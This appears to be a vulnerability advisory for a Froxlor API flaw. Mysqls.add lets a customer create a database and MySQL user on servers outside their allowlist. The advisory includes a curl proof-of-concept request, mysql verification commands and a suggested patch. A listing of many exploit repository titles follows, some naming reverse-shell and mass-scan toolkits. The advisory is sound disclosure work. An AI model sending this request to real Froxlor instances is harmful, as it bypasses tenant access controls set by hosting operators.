## Summary The `Mysqls.add` API command (`lib/Froxlor/Api/Commands/Mysqls.php`) accepts a customer-controlled `mysql_server` parameter and only validates that the value is numeric and that the server index exists in `userdata.inc.php`. It never checks the value against the calling customer's `allowed_mysqlserver` allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same `allowed_mysqlserver` check is correctly enforced in `MysqlServer::get()` / `MysqlServer::listing()` and in the customer-facing UI (`customer_mysql.php`), confirming the omission is a bug, not by-design. ## Details **Vulnerable code path** — `lib/Froxlor/Api/Commands/Mysqls.php:69-99` (`add()`): ```php public function add() { if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) { ... $customer = $this->getCustomerData('mysqls'); // line 80 $dbserver = $this->getParam('mysql_server', true, // line 81 — user-controlled $this->getDefaultMySqlServer($customer)); ... $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...); // line 92 — numeric only Database::needRoot(true, $dbserver, false); // line 93 — root ctx for ANY index Database::needSqlData(); $sql_root = Database::getSqlData(); Database::needRoot(false); if (!is_array($sql_root)) { // line 97 — only existence check throw new Exception("Database server with index #" . $dbserver . " is unknown", 404); } ... $username = $dbm->createDatabase($newdb_params['loginname'], $password, $dbserver, ...); // line 116/118 — DB+user created ... Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...); } } ``` The `$customer['allowed_mysqlserver']` field IS read on line 80 but is only consumed by `getDefaultMySqlServer()` (lines 566-573) to compute a default when the request omits `mysql_server`. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs. **Cross-file evidence the check is intended elsewhere:** - `lib/Froxlor/Api/Commands/MysqlServer.php:319-323` — `get()` rejects with HTTP 405 when `$dbserver` is not in `allowed_mysqlserver`: ```php if ($this->isAdmin() == false) { $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true); if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) { throw new Exception("You cannot access this resource", 405); } ... } ``` - `lib/Froxlor/Api/Commands/MysqlServer.php:252-257` — same allowlist filter on `listing()`. - `customer_mysql.php:222` — UI rejects with `Response::dynamicError('No permission')` when `empty($allowed_mysqlservers)`. **Chain of execution (attacker → impact):** 1. Customer authenticates to `api.php` with apikey/secret. The only API gate is `cust_api_allowed`; `allowed_mysqlserver` is not consulted at auth time. 2. Customer sends JSON `{"command":"Mysqls.add","params":{"mysql_password":"<valid>","mysql_server":<disallowed_idx>}}`. 3. `Mysqls.php:71` quota check passes (`mysqls_used < mysqls`). 4. `Mysqls.php:80` `getCustomerData('mysqls')` returns the caller's own row. 5. `Mysqls.php:81` `$dbserver` is set from the request (default-fallback path skipped). 6. `Mysqls.php:92` numeric regex passes. 7. `Mysqls.php:93-99` `Database::needRoot(true, $dbserver, false)` switches to the root context of the attacker-chosen server; existence check passes. 8. `Mysqls.php:116/118` `DbManager::createDatabase(...)` runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to `<loginname>_<sqlN>` (DbManager.php:177-218). 9. `Mysqls.php:127-141` inserts a row into `TABLE_PANEL_DATABASES` with the attacker's `customerid` and the disallowed `dbserver`, allowing later management via `Mysqls.get/update/delete` (which only filter by `customerid` for non-admins, e.g. `Mysqls.php:282`). ## PoC Preconditions on the target instance: - ≥2 MySQL servers configured in `lib/userdata.inc.php` (e.g. index 0 default, index 1 internal/premium). - Customer X with `allowed_mysqlserver=[0]`, `cust_api_allowed=1`, `mysqls > 0`, and an issued API key (`apikey:secret`). Request — customer creates a database on server `1`, which is *not* in their allowlist: ```bash curl -k -u 'CUST_APIKEY:CUST_SECRET' \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Mysqls.add","params":{"mysql_password":"ValidP@ssw0rd!","mysql_server":1}}' \ https://froxlor.example.com/api.php ``` Expected (mirroring `MysqlServer.get()` behaviour): `HTTP 405 — "You cannot access this resource"`. Actual: `HTTP 200` with the full database record, e.g.: ```json {"data":{"id":42,"customerid":<cust_id>,"databasename":"<loginname>_sql1","dbserver":1,...}} ``` Verify the credentials work on the forbidden server: ```bash mysql -h server1.host -u <loginname>_sql1 -p # password: ValidP@ssw0rd! mysql> SHOW DATABASES; # the new DB is present mysql> USE <loginname>_sql1; # full access to the newly-created DB ``` The customer can subsequently manage the DB via `Mysqls.get`, `Mysqls.update`, and `Mysqls.delete` — those non-admin code paths filter only by `customerid` (`Mysqls.php:282-289`, `Mysqls.php:380-391`), which matches. ## Impact - Bypass of the per-customer MySQL-server allowlist (`allowed_mysqlserver`) enforced by the admin/reseller. The authorization model is fully defeated for the `add` operation. - The customer obtains valid MySQL credentials on a server the operator explicitly excluded for them — possibly an internal/separate cluster, billing tier, premium-only host, or a server provisioned for a different tenant pool. - The customer can persist a DB on the forbidden server (resource and policy bypass), then read/write data there, and continue to manage it through `Mysqls.update` / `Mysqls.delete`. - Impact is bounded: privileges granted by `DbManager::grantPrivilegesTo` apply only to the new `<loginname>_sqlN` database, so no cross-tenant data exposure on the forbidden server. The damage is policy bypass, resource consumption on the forbidden server, and credential persistence there. ## Recommended Fix Mirror the allowlist check already present in `MysqlServer::get()`. After the numeric validation on `Mysqls.php:92`, before `Database::needRoot(...)`, add for non-admin callers: ```php // validate whether the dbserver exists $dbserver = Validate::validate($dbserver, html_entity_decode(lng('mysql.mysql_server')), '/^[0-9]+$/', '', 0, true); // enforce per-customer allowed_mysqlserver allowlist (parity with MysqlServer::get()) if (!$this->isAdmin()) { $allowed = json_decode($customer['allowed_mysqlserver'] ?? '[]', true); if (!is_array($allowed) || empty($allowed) || !in_array((int)$dbserver, array_map('intval', $allowed), true)) { throw new Exception('You cannot access this resource', 405); } } Database::needRoot(true, $dbserver, false); ``` Audit `Mysqls::update()`, `Mysqls::delete()`, and `Mysqls::get()` for the same gap: those endpoints accept `mysql_server` and ultimately call `Database::needRoot(true, $result['dbserver'], false)` on the row's stored value. Once the row exists with a forbidden `dbserver`, those paths execute against the forbidden server unchallenged. Consider rejecting any non-admin operation whose target row's `dbserver` is outside `allowed_mysqlserver`, even if the row already exists, to defend in depth.
PoC: cve-2026-32475-elementor-pro-lab
A/B Docker lab + PoC for CVE-2026-32475 (Elementor Pro Forms unauthenticated arbitrary file upload -> RCE via validation/move loop desync)
PoC: CVE-2026-85046
CVE-2026-85046
PoC: CVE-2026-62735
Windows HTTP.sys integer overflow -> nonpaged pool overflow LPE PoC (CVE-2026-62735): crash + full SYSTEM exploit; for authorized testing
PoC: CVE-2026-82329-JFrog-Artifactory-Auth-Bypass
CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass
PoC: CVE-2026-65349
CVE-2026-65349 PoC — getattrlist OOB write in vfs_attr_pack_internal (iOS 26.6 / 23G71)
PoC: CVE-2026-65343
CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)
PoC: CVE-2026-65330
CVE-2026-65330 PoC — setxattr PAC bypass via fixed #0x307a diversifier (iOS 26.6 / 23G71)
PoC: CVE-2026-64788
CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)
PoC: CVE-2026-32475
CVE-2026-32475 PoC : Elementor Pro Unauthenticated Arbitrary File Upload to RCE
PoC: CVE-2023-42793-TeamCity-Unauthenticated-RCE
A PoC and automated version detection/exploit tool for JetBrains TeamCity Authentication Bypass & RCE (CVE-2023-42793).
PoC: cve-2026-6471-postgres-logical-decoding-dlopen
postgres CVE-2026-6471 Exploit
PoC: gpgsm-cve-2026-57062-cms-gcm-short-tag
gpgsm CVE-2026-57062 exploit POC
PoC: CVE-2025-4255---Buffer-Overflow
Exploit Framework for CVE-2025-4255
PoC: gha-lab-4a8fad8536
Security-research lab reproducing CVE-2026-39382 (GHSA-5jxf-vmqr-5g82): command injection in dbt-labs reusable workflow open-issue-in-repo.yml, driven by a dbt-core-style docs-issue.yml caller
PoC: gha-lab-ed7a1740c4
Security-research lab: controlled reproduction of GHSA-3g6g-gq4r-xjm9 / CVE-2026-35580 (GitHub Actions workflow_dispatch input shell injection) against a pinned snapshot of NationalSecurityAgency/emissary
PoC: gha-lab-85f022290a
Research lab reproduction of CVE-2026-34243 (GHSA-r4fj-r33x-8v88): command injection via issue_comment.body in .github/workflows/comment.yaml — snapshot of njzjz/wenxian@ca4e04de86aa970c0e3cb1c7f2bd103d339fbe51
PoC: gha-lab-9b5e3ccfbe
Security-research lab: reproduction of CVE-2026-33475 (GitHub Actions script injection via PR branch name in deploy-docs-draft.yml), snapshot of langflow-ai/langflow
PoC: research-cve-2026-85649
[MIRROR] The CVE-2026-85649 Security Research Publication.
PoC: gha-lab-61c59f4acb
Security-research lab: controlled reproduction of CVE-2026-33075 (pwn request in labring/FastGPT preview-image workflow, pull_request_target + checkout-of-fork + privileged buildx push)
PoC: gha-lab-3f1ff30e9c
Authorized security-research lab reproducing CVE-2026-31852 (jellyfin/jellyfin-ios pull_request_target pwn in code-quality.yml) — isolated snapshot, not the upstream project
PoC: gha-lab-ca4fa82ac5
Security-research lab: reproduction of CVE-2026-29075 (GHSA-3j55-5q6x-2h48) in mesa/mesa benchmarks.yml pull_request_target workflow — single-commit snapshot for authorized vulnerability reproduction.
PoC: gha-lab-6c3094af9e
Authorized security-research lab reproducing CVE-2026-27941 (pwn request in pull_request_target workflows) — snapshot of openlit/openlit
PoC: gha-lab-a7f6217d26
Security-research reproduction of CVE-2026-27938 / GHSA-4q9f-mjxf-rx7x (GitHub Actions expression injection in release workflows) — snapshot of wp-graphql/wp-graphql at b216fe22f3a119f256511ec7353f536fee6886ac
PoC: cve-2026-19900-PoC
cve-2026-19900-PoC
PoC: CVE-2026-85769
Heap out-of-bounds read in libtpms TPM 2.0 state deserialization — CVE-2026-85769
PoC: CVE-2026-19632
Unauthenticated account takeover PoC for TranslatePress Multilingual <= 3.3.1 (WordPress)
PoC: CVE-2026-11613
Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template'
PoC: gha-lab-25b7988758
Authorized security-research reproduction of CVE-2026-27701 / GHSA-xh9w-5859-x97j (live-codes/livecodes @ 8017e01): untrusted PR title interpolated into i18n-update-pull github-script block.
PoC: copy-fail-CVE-2026-31431-cpp
https://github.com/theori-io/copy-fail-CVE-2026-31431 but ported to c++ for fun
PoC: CVE-2026-83548-checker
Non-intrusive detector for SonicWall SMA 1000 exposure to CVE-2026-83548/-83549 (version/patch-state check; no exploitation)
PoC: gha-lab-b16a4f3554
Security-research lab: CVE-2026-24480 pull_request_target pre-commit RCE in qgis/QGIS (snapshot at vulnerable commit)
PoC: Yordam-Kutuphane-Otomasyonunda-Coklu-HTML-Enjeksiyonu
CVE-2026-77818 - Yordam Kütüphane Otomasyon Sistemi - Üç ayrı noktada yansıtılmış HTML enjeksiyonu, form action ele geçirme ve kimlik bilgisi hırsızlığı (CWE-79)
PoC: jsherp-user-info-idor
VulDB advisory: jshERP authenticated /user/info IDOR and password-digest replay after CVE-2025-60800
PoC: gha-lab-7927d7d06f
Security-research lab reproducing CVE-2026-22869 (pwn) — arbitrary code execution in privileged pull_request_target run via npx local-bin hijack, snapshot of eigent-ai/eigent @ 2a406536
PoC: cve-2026-31431
PoC for CVE-2026-31431
PoC: gha-lab-b5c1313658
Authorized security-research lab reproducing CVE-2026-1699 (pwn request in preview.yml) — snapshot of eclipse-theia/theia-website
PoC: CVE-2026-63077
CVE-2026-63077 - Unauthenticated RCE exploit for JetBrains TeamCity via Agent Polling Deserialization. Supports mass scanning, multi-threading, and interactive shell. For authorized security testing only.
PoC: CVE-2026-6471
CVE-2026-6471 - Draft or TODO
PoC: CVE-2026-73554
CVE-2026-73554 - Draft or TODO
PoC: CVE-2026-19516
CVE-2026-19516
PoC: gha-lab-51c6b6d0a0
Lab reproducing CVE-2025-67727 (parse-community/parse-server ci-performance.yml pull_request_target RCE at e78e58d) — authorized security research
PoC: gha-lab-6904b2ccbe
Security-research lab: reproduction of CVE-2025-61584 (GHSA-9g7x-737f-5xpc) — command injection via github.head_ref in pull_request_target workflow (.github/workflows/pr.yml)
PoC: CVE-2026-85046-Patch-confusion-zero-day-vulnerability-in-Google-Chrome-s-V8-engine
Conceptual C++ patch and structural analysis for CVE-2026-85046, a critical type confusion zero-day vulnerability in Google Chrome's V8 engine
PoC: cve-disclosures
CVE-2024-57551, CVE-2024-57552, CVE-2024-57553 advisories by Aman Bahiniya
PoC: unit-01-severity-vs-risk-reflection
cve-2026-25524 Holds no customer payment data, no monitoring in place, monitored 24/7 The CVSS score is technically serious, but it doesn't tell how exposed it is, weather our existing defenses would stop or contain an attack. We should confirm the vulnerable component is reachable by untrust input in our environment.
PoC: gha-lab-d14c91f1bb
Security-research lab: reproduction of CVE-2025-58371 (GitHub Actions command injection via PR title in Discord PR Notifier), snapshot of RooCodeInc/Roo-Code @ 08a825f9bb0086a88cff5a79b9af4731bba7d076
PoC: thymeleaf-check
Offline checker for Thymeleaf CVE-2026-40477 / CVE-2026-41901 — tells you which of the two CVSS 9.0 SSTI flaws you are exposed to, and whether your version line has a fix at all (3.0.x: it does not)
PoC: CVE-2024-36058
CVE-2024-36058 — Authenticated Time-Based Blind SQL Injection in Koha Library Software < 22.05.22 (opac-sendbasket.pl). Advisory + PoC by Hacklantic.
PoC: CVE-2024-36057
CVE-2024-36057 — Authenticated OS Command Injection in Koha Library Software < 22.05.22 (upload-cover-image.pl). Advisory + PoC by Hacklantic.
PoC: gha-lab-aa1cbc9bcf
Authorized security-research reproduction of CVE-2025-54594 (GHSA-588g-38p4-gr6x): privileged issue_comment-triggered canary release workflow checking out untrusted fork code and running its npm scripts with GITHUB_TOKEN/NPM_TOKEN in env. Snapshot of callstackincubator/react-native-bottom-tabs @ d765b1f695762490327dcb8f6a2f17542cf0abdb.
PoC: CVE-2026-82329-poc
CVE-2026-82329 Poc
PoC: CVE-2025-34158-CVE-2020-5741
CVE-2025-34158, CVE-2020-5741 - Draft or TODO
PoC: gha-lab-ba981941f0
Security-research lab reproducing CVE-2025-54430 (GHSA-wrg3-xqw8-m85p): secrets exfiltration via issue_comment-triggered Benchmark Bot in dedupeio/dedupe. Snapshot of dedupeio/dedupe@54ecfe77d41390da66899596834a2bde3712c966.
PoC: gha-lab-f894926966
Authorized security-research reproduction lab for CVE-2025-54415 (GHSA-g5hx-xv45-9whg): astronomer/dag-factory snapshot at 464c75a — pull_request_target head-SHA checkout executes attacker-controlled hatch scripts in base-repo context
PoC: gha-lab-6926364d94
Security research lab reproducing CVE-2025-53546 (GHSA-h87r-5w74-qfm4): pull_request_target arbitrary code execution in RSSNext/Folo's auto-fix lint workflow — authorized, isolated reproduction
PoC: CVE-2025-8518
CVE-2025-8518 - Draft or TODO
PoC: gha-lab-3b0a828a69
Security-research lab reproducing CVE-2025-53104 (GHSA-432r-9455-7f9x): command injection in discussion-to-slack.yml of gluestack/gluestack-ui
PoC: gha-lab-e8902eccd3
Security research lab: reproduction of CVE-2025-52467 (pgai pull_request_target workflow code execution / GITHUB_TOKEN exfiltration) — snapshot of timescale/pgai
PoC: tomcatfileread
CVE-2020-1938 (Ghostcat) Tomcat AJP file read/file include PoC with python3 port
PoC: CVE-Chamilo-LMS
CVE-2026-61578, CVE-2026-61582, CVE-2026-61583, CVE-2026-61584, CVE-2026-61585, CVE-2026-61587, CVE-2026-61600, CVE-2026-61601, CVE-2026-61602, CVE-2026-70647, CVE-2026-70648 - Draft or TODO
PoC: gha-lab-2f775f277c
Authorized lab reproduction of CVE-2025-47928 (spotipy-dev/spotipy pull_request_target secrets exfiltration) — snapshot at vulnerable commit 4f5759d
PoC: CVE-2026-31787
Linux kernel double free in Xen privcmd driver
PoC: gha-lab-fb6df3d456
Authorized security-research lab reproducing CVE-2025-46820 (GHSA-cwj7-6v67-2cm4): GITHUB_TOKEN persisted into publicly downloadable CI artifacts in phpgt/Dom. Snapshot of phpgt/Dom @ b73d7e8.
PoC: CVE-2026-20212
CVE-2026-20212 - Draft or TODO
PoC: CVE-2026-56718
AJCloud AJY IPC Firmware Path Traversal via jdbhttpd
PoC: psa-2026-00043-recovery
Recovery notes for proxmox advisory ID: PSA-2026-00043-1 (CVE-2023-54391)
PoC: gha-lab-ba8e0c4217
Authorized security-research lab: reproduction of CVE-2024-42370 / GHSA-4hq2-rpgc-r8r7 (env injection in docs-preview.yml) — snapshot of litestar-org/litestar@18d84d84
PoC: CVE-2026-65643-PoC-Toolkit
🧰 CVE-2026-65643 – cPanel Domain Parking RCE Toolkit (CVSS 8.7) | Red/Blue Team suite for unpatched cPanel & WHM 11.x (110,134,136,138). 2 tools: Full Exploit (reverse shell, webshell, persistence, root passwd, file R/W, mass scan, Tor), Blue Team PoC (detection, reporting, audit). w/Python. 🦾 Only Use Ethically, Stay Legal <3
PoC: CVE-2026-4813
PoC for CVE-2026-4813
PoC: cve-2026-75604
Research lab and exploit chain for CVE-2026-75604: path traversal in the Next.js incremental cache, to RCE on Windows.
PoC: CVE-2026-82329
CVE‑2026‑82329 is a critical authentication bypass in JFrog Artifactory (CVSS 9.8) allowing unauthenticated attackers to obtain full administrative privileges. Actively exploited in the wild. Affects self‑hosted versions before patches. PoC for authorized testing only.
PoC: CVE-2026-52810
CVE-2026-52810 - Draft or TODO
PoC: iOS26.6-CVE-2026-64788
CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)
PoC: CVE-2026-80428
CVE-2026-80428 PoC
PoC: iOS26.6-CVE-2026-65343
CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)
PoC: CVE-2026-80428
CVE-2026-80428 PoC
PoC: gha-lab-b1fe4918c0
Authorized security-research lab: reproduction of CVE-2025-32958 (GHSA-8c7v-vccv-cx4q) — GITHUB_TOKEN leaked into workflow artifacts by Adept's remoteBuild.yml (snapshot of AdeptLanguage/Adept @ 6a64554)
PoC: CVE-2026-83548-SonicWall-SMA1000-Analysis
Vulnerability Analysis of CVE-2026-83548 affecting SonicWall SMA1000 security systems.
PoC: CVE-2024-21546
This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).
PoC: CVE-2026-78071
Stored XSS via Location Title in DPCalendar Free
PoC: CVE-2026-78070
SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
PoC: CVE-2026-19949
CVE-2026-19949 - Draft or TODO
PoC: CVE-2026-59822
CVE-2026-59822 - Draft or TODO
PoC: struts2-tool
Struts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool
PoC: gha-lab-becf103a54
Authorized security-research reproduction of CVE-2025-15617 (GHSA-6xqr-4q5g-xc7x): artipacked GITHUB_TOKEN leak in wazuh FIM Windows integration workflow artifacts
PoC: CVE-2025-9974
Proof of Concept code for the CVE-2025-9974 affecting Nokia Beacon routers.
PoC: tfo-connect-bypass
Bypassing connect()-based syscall rules using TCP Fast Open (CVE-2026-63828 PoC)
PoC: CVE-2026-38577-by-deepak-Anmol
CVE-2026-38577
PoC: gha-lab-23db52563c
Security-research lab: reproduction of CVE-2025-10894 (PR-title injection in GitHub Actions) — snapshot of nrwl/nx
PoC: CVE-2026-9335-keras-hdf5-externallink
CVE-2026-9335: KerasFileEditor and load_weights follow h5py ExternalLinks, disclosing arbitrary local HDF5 file contents in keras ≤ 3.14.0. Advisory + verified PoCs.
PoC: vsFTPd-2.3.4-Exploit
Python exploit for the vsFTPd 2.3.4 backdoor (CVE-2011-2523).
PoC: CVE-2026-73296
CVE-2026-73296
PoC: CVE-2026-19490
NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC
PoC: dast
CVE-2026-0828
PoC: SmarterMail-CVE-2026-24423-
Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.
PoC: gha-lab-d9fd584b12
Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)
PoC: LAB1-metasploitable
Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)
PoC: CVE-2022-25765
CVE-2022-25765 | pdfkit v0.8.6 Python PoC
PoC: CVE-2026-7899
CVE-2026-7899 - Draft or TODO
PoC: gha-lab-6ab39df295
Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free